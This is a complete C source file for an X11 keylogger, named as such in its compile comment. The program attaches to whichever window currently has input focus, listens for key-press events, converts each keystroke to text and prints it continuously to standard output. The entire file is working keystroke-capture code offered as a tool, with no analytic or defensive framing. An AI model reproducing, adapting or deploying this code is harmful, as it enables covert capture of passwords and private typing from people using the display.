// cc -o junjie_keylogger -I/usr/local/include -L/usr/local/lib -lX11 junjie_keylogger.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
static Display *dpy;
static Window focuswin = None;
static void attach_to_focuswin(void) {
int foo = 0;
XGetInputFocus(dpy, &focuswin, &foo);
if (focuswin != None)
XSelectInput(dpy, focuswin, KeyPressMask | FocusChangeMask);
else
sleep(1);
}
static void handle_event(void) {
XEvent ev;
char buf[100];
int len;
XNextEvent(dpy, &ev);
if(ev.xany.type == FocusOut)
focuswin = None;
else if (ev.xany.type == KeyPress) {
len = XLookupString(&ev.xkey, buf, 99, 0, 0);
buf[len] = 0;
printf("%s", buf);
fflush(stdout);
}
}
int main(void) {
dpy = XOpenDisplay(getenv("DISPLAY"));
if (dpy == NULL) {
fprintf(stderr, "cannot change display\n");
exit(1);
}
while (1) {
if (focuswin == None)
attach_to_focuswin();
else
handle_event();
}
}